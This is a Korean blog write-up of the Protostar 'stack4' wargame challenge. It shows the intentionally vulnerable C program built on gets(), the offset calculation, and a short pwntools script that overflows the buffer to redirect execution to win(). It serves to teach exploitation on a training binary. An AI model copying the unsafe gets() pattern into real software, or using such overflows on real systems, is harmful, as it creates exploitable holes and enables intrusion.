Pwnable/프로토스타_시스템해킹
Protostar -stack 4 -
KSJ._.seven11
2023. 2. 13. 13:29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
버퍼를 64 바이트로 받아온다.
문제는 gets 함수를 통해 받아오기에 취약점이 발견된다.
이를 통해 RTL 방식의 공격기법으로 ret 값을 win 함수주소로 변경하여 해당 문자열을 출력하게 만들면 될 것이다.
먼저 Buffer 와 Ret 간의 거리를 계산하기 위해 Pattern을 생성하고 Ret에 중단점을 걸어 거리를 구할 수 있을 것이다.
Main + 22 에 중단점을 걸어 ret 함수에서 진입하기전 까지 길이를 구할 수 있을 것이다.
거리가 76 인걸 확인할 수 있다.
그렇게 'A' * 76 으로 버퍼오보플로우를 일으키고 ret 주소를 win 함수로 변경하면 성공 문자열이 출력될 것이다.
Win 함수의 시작주소 0x080483f4 이다.
pwntools을 활용하여 exploit 코드를 짜보니 다음과 같다.
from pwn import *
p = process('./stack4')
payload = b'A'*76
payload += p32(0x080483f4)
p.sendline(payload)
data = p.recvline(1024)
print(data)
그렇게 exploit 코드를 작성후 실행하면 !
야호! 성공이다ㅏㅏㅏㅏ!!!